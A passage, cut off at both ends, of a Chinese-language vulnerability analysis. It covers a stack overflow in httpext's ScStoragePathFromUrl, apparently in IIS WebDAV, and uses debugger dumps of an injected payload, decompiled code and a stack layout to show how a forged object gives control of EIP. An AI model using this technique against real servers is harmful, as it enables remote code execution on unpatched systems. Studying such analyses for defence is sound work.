$$ ScStoragePathFromUrl 参数 0:006> dds esp L3 03faf7b4 077dc9e0 03faf7b8 680312c0 rsaenh!g_pfnFree+0x4 03faf7bc 03faf800 0:006> dd 03faf800 L1 03faf800 00404040 0:006> p eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=680312c0 esi=00000000 edi=77bd8ef2 eip=6712544a esp=03faf7c0 ebp=03fafc34 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!HrCheckIfHeader+0x124: 6712544a 8bf0 mov esi,eax $$ 填充数据到 0x680312c0 0:006> db 680312c0 680312c0 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p. 680312d0 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o. 680312e0 6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00 o.t.\.b.b.b.b.b. 680312f0 62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48 b.b.HyuaCOgookEH 68031300 46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56 F6ug3Dq8eWbZ5TaV 68031310 52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43 RiSjWQN8HYUcqIdC 68031320 72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50 rdh4XGyqk3UkHmOP 68031330 46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34 Fzq4ToCtVYooAsW4 0:006> db 68031340 68 61 72 7a 45 37 49 4d-4e 57 48 54 38 4c 7a 36 harzE7IMNWHT8Lz6 68031350 72 35 66 62 43 6e 6d 48-48 35 77 61 5a 4d 74 61 r5fbCnmHH5waZMta 68031360 33 41 65 43 72 52 69 6d-71 36 64 4e 39 6e 53 63 3AeCrRimq6dN9nSc 68031370 64 6b 46 51 30 4f 6f 78-53 72 50 67 53 45 63 7a dkFQ0OoxSrPgSEcz 68031380 39 71 53 4f 56 44 36 6f-79 73 77 68 56 7a 4a 61 9qSOVD6oyswhVzJa 68031390 45 39 39 36 39 6c 31 45-72 34 65 53 4a 58 4e 44 E9969l1Er4eSJXND 680313a0 44 7a 35 6c 56 5a 41 62-72 6e 31 66 59 59 33 54 Dz5lVZAbrn1fYY3T 680313b0 42 31 65 58 41 59 50 71-36 30 77 57 57 44 61 53 B1eXAYPq60wWWDaS 0:006> db 680313c0 c0 13 03 68 4f 6e 00 68-4f 6e 00 68 47 42 6a 76 ...hOn.hOn.hGBjv 680313d0 c0 13 03 68 57 42 74 4f-47 59 34 52 66 4b 42 4b ...hWBtOGY4RfKBK 680313e0 64 74 6f 78 82 60 01 68-35 51 7a 72 7a 74 47 4d dtox.`.h5QzrztGM 680313f0 59 44 57 57 13 b1 00 68-76 31 6f 6e e3 24 01 68 YDWW...hv1on.$.h 68031400 60 14 03 68 00 03 fe 7f-ff ff ff ff c0 13 03 68 `..h...........h 68031410 6e 04 03 68 6e 71 70 74-34 14 03 68 e7 29 01 68 n..hnqpt4..h.).h 68031420 91 93 00 68 31 39 6e 66-55 49 52 30 6b 54 6b 76 ...h19nfUIR0kTkv 68031430 4a 72 61 79 1c 14 03 68-05 6e 00 68 32 77 68 79 Jray...h.n.h2why |
在函数 HrCheckIfHeader
返回后,后面会跳转到 CParseLockTokenHeader::HrGetLockIdForPath
中去执行,而后者也会多次调用 CMethUtil::ScStoragePathFromUrl
这个函数。同样,解析 URL 第一部分(http://localhost/aaaaaaa....
)时完成栈溢出,此时会覆盖到一个引用 CMethUtil
对象的局部变量;在解析 URL 第二部分(http://localhost/bbbbbbb....
)时,因为 CMethUtil
已经伪造好,其成员 IEcb
实例同样完成伪造,最后在 ScStripAndCheckHttpPrefix
中实现 EIP 的控制。
1 2 3 4 5 6 7 8 9 10 11 |
CPutRequest::Execute ├──HrCheckStateHeaders │ └──HrCheckIfHeader │ ├──CMethUtil::ScStoragePathFromUrl │ └──CMethUtil::ScStoragePathFromUrl │ └──FGetLockHandle └──CParseLockTokenHeader::HrGetLockIdForPath ├──CMethUtil::ScStoragePathFromUrl └──CMethUtil::ScStoragePathFromUrl |
(1) FGetLockHandle 分析
函数 FGetLockHandle
里面构造了一个 CParseLockTokenHeader
对象,存储于栈上的一个局部变量引用了这个对象 (这一点很重要),调用该对象的成员函数 HrGetLockIdForPath
进入下一阶段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<span class="hljs-keyword">int</span> __<span class="hljs-function">stdcall <span class="hljs-title">FGetLockHandle</span><span class="hljs-params">( <span class="hljs-keyword">struct</span> CMethUtil *a1, <span class="hljs-keyword">wchar_t</span> *Str, <span class="hljs-keyword">unsigned</span> __int32 a3, <span class="hljs-keyword">const</span> <span class="hljs-keyword">unsigned</span> __int16 *a4, <span class="hljs-keyword">struct</span> auto_ref_handle *a5)</span> </span>{ <span class="hljs-keyword">signed</span> <span class="hljs-keyword">int</span> v5; <span class="hljs-comment">// eax@1</span> <span class="hljs-keyword">int</span> result; <span class="hljs-comment">// eax@2</span> CParseLockTokenHeader *v7; <span class="hljs-comment">// [sp+0h] [bp-54h]@1</span> <span class="hljs-keyword">union</span> _LARGE_INTEGER v8; <span class="hljs-comment">// [sp+40h] [bp-14h]@1</span> <span class="hljs-keyword">int</span> v9; <span class="hljs-comment">// [sp+50h] [bp-4h]@1</span> v7 = CParseLockTokenHeader(a1, a4); v9 = <span class="hljs-number">0</span>; v7->SetPaths(Str, <span class="hljs-number">0</span>); v5 = v7->HrGetLockIdForPath(Str, a3, &v8, <span class="hljs-number">0</span>); v9 = <span class="hljs-number">-1</span>; <span class="hljs-keyword">if</span> ( v5 >= <span class="hljs-number">0</span> ) { result = FGetLockHandleFromId(a1, v8, Str, a3, a5); } <span class="hljs-keyword">else</span> { result = <span class="hljs-number">0</span>; } <span class="hljs-keyword">return</span> result; } |
(2) HrGetLockIdForPath 分析
HrGetLockIdForPath
与 HrCheckIfHeader
有点类似,同样存在两个 CStackBuffer
变量。不同的是,v22.HighPart
指向父级函数 HrGetLockIdForPath
中引用 CParseLockTokenHeader
对象的局部变量,而且这里也会将其转换为 CMethUtil
类型使用。
在解析 URL 第一部分(http://localhost/aaaaaaa....
)时,通过栈溢出可以覆盖引用 CParseLockTokenHeader
对象的局部变量,栈布局如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
┌─────────────────────────┐ │ <span class="hljs-selector-tag">v7</span> (<span class="hljs-selector-tag">FGetLockHandle</span>) │ <span class="hljs-selector-tag">CParseLockTokenHeader</span> <────┐ ├─────────────────────────┤ ↑<span class="hljs-selector-tag">o</span> │ │ ...... │ │<span class="hljs-selector-tag">v</span> │ ├─────────────────────────┤ │<span class="hljs-selector-tag">e</span> │ │ 2<span class="hljs-selector-class">.heap_buffer</span>│ <span class="hljs-selector-tag">ebp-14</span> │<span class="hljs-selector-tag">r</span> │ ├─────────────────────────┤ │<span class="hljs-selector-tag">f</span> │ │ 2<span class="hljs-selector-class">.fake_heap_size</span>│ <span class="hljs-selector-tag">ebp-18</span> │<span class="hljs-selector-tag">l</span> │ ├─────────────────────────┤ │<span class="hljs-selector-tag">o</span> │ │<span class="hljs-selector-tag">CStackBuffer2</span><span class="hljs-selector-class">.buffer</span><span class="hljs-selector-attr">[260]</span>│ <span class="hljs-selector-tag">ebp-11C</span> │<span class="hljs-selector-tag">w</span> │ ├─────────────────────────┤ <<span class="hljs-selector-tag">--------</span> <span class="hljs-selector-tag">overwrite</span> <span class="hljs-selector-tag">data</span> │ │ 1<span class="hljs-selector-class">.heap_buffer</span>│ <span class="hljs-selector-tag">ebp-120</span> <span class="hljs-selector-tag">-</span>> <span class="hljs-selector-tag">heap</span> (<span class="hljs-selector-tag">url</span> <span class="hljs-selector-tag">part1</span>)│ ├─────────────────────────┤ │ │ 1<span class="hljs-selector-class">.fake_heap_size</span>│ <span class="hljs-selector-tag">ebp-124</span> │ ├─────────────────────────┤ │ │<span class="hljs-selector-tag">CStackBuffer1</span><span class="hljs-selector-class">.buffer</span><span class="hljs-selector-attr">[260]</span>│ <span class="hljs-selector-tag">ebp-228</span> │ ├─────────────────────────┤ │ │ ...... │ │ ├────────────┬────────────┤ │ │ <span class="hljs-selector-tag">v22</span><span class="hljs-selector-class">.LowPart</span>│<span class="hljs-selector-tag">v22</span><span class="hljs-selector-class">.HighPart</span>│ <span class="hljs-selector-tag">ebp-240</span> (<span class="hljs-selector-tag">LARGE_INTEGER</span>) ──┘ └────────────┴────────────┘ |
栈上的数据分布如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
<span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> dds ebp-<span class="hljs-number">18</span> <span class="hljs-number">03</span>fafbb8 <span class="hljs-number">00000412</span> --------> CStackBuffer2.fake_heap_size <span class="hljs-number">03</span>fafbbc <span class="hljs-number">03</span>fafab4 --------> CStackBuffer2.buffer[<span class="hljs-number">260</span>] <span class="hljs-number">03</span>fafbc<span class="hljs-number">0</span> <span class="hljs-number">0000016</span>8 <span class="hljs-number">03</span>fafbc4 <span class="hljs-number">03</span>fafc3<span class="hljs-number">0</span> <span class="hljs-number">03</span>fafbc8 <span class="hljs-number">67140</span>bdd httpext!swscanf+<span class="hljs-number">0x137d</span> --> ret addr <span class="hljs-number">03</span>fafbcc <span class="hljs-number">00000002</span> <span class="hljs-number">03</span>fafbd<span class="hljs-number">0</span> <span class="hljs-number">03</span>fafc3c <span class="hljs-number">03</span>fafbd4 <span class="hljs-number">6711</span>aba9 httpext!FGetLockHandle+<span class="hljs-number">0x40</span> <span class="hljs-number">03</span>fafbd8 <span class="hljs-number">07</span>874c2e <span class="hljs-number">03</span>fafbdc <span class="hljs-number">80000000</span> <span class="hljs-number">03</span>fafbe<span class="hljs-number">0</span> <span class="hljs-number">03</span>fafc28 <span class="hljs-number">03</span>fafbe4 <span class="hljs-number">00000000</span> <span class="hljs-number">03</span>fafbe8 <span class="hljs-number">07</span>872fc<span class="hljs-number">0</span> --------> CParseLockTokenHeader xx <span class="hljs-number">03</span>fafbec <span class="hljs-number">07</span>88c858 <span class="hljs-number">03</span>fafbf<span class="hljs-number">0</span> <span class="hljs-number">07</span>88c858 $$ CMethUtil <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> r ecx ecx=<span class="hljs-number">07</span>872fc<span class="hljs-number">0</span> $$ LARGE_INTEGER v22 <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> dd ebp-<span class="hljs-number">240</span> L2 <span class="hljs-number">03</span>faf99<span class="hljs-number">0</span> <span class="hljs-number">5</span>a3211a<span class="hljs-number">0</span> <span class="hljs-number">03</span>fafbe8 $$ CStackBuffer2.buffer[<span class="hljs-number">260</span>] <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> ?ebp-<span class="hljs-number">11</span>C Evaluate <span class="hljs-symbol">expression:</span> <span class="hljs-number">66779828</span> = <span class="hljs-number">03</span>fafab4 |
分析栈的布局可以知道,在复制 260+12*4=308
字节数据后,后续的 4
字节数据将覆盖引用 CParseLockTokenHeader
对象的局部变量。需要注意的是,这里所说的 308
字节,是 URL 转变成物理路径后的前 308
字节。执行完 CMethUtil::ScStoragePathFromUrl
之后,680313c0
被填充到父级函数中引用 CParseLockTokenHeader
对象所在的局部变量。
1 2 3 4 5 6 7 |
$$ LARGE_INTEGER v22 <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> dd ebp-<span class="hljs-number">240</span> L2 <span class="hljs-number">03</span>faf99<span class="hljs-number">0</span> <span class="hljs-number">5</span>a3211a<span class="hljs-number">0</span> <span class="hljs-number">03</span>fafbe8 <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> dd <span class="hljs-number">03</span>fafbe8 L1 <span class="hljs-number">03</span>fafbe8 <span class="hljs-number">680313</span>c<span class="hljs-number">0</span> |
(3) ScStripAndCheckHttpPrefix 分析
在解析 URL 第二部分(http://localhost/bbbbbbb....
)时,由于引用 CParseLockTokenHeader
对象的局部变量的值已经被修改,所以会使用伪造的对象,最终在函数 ScStripAndCheckHttpPrefix
中完成控制权的转移。
1 2 3 4 5 6 7 8 |
CPutRequest::Execute └──FGetLockHandle └──CParseLockTokenHeader::HrGetLockIdForPath ecx = <span class="hljs-number">0x680313C0</span> ├──CMethUtil::ScStoragePathFromUrl ecx = <span class="hljs-number">0x680313C0</span> │ └──ScStoragePathFromUrl ecx = [ecx+<span class="hljs-number">0x10</span>]=< |